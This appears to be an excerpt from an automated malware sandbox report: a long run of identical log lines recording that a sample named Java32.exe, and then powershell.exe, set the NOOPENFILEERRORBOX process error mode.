Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
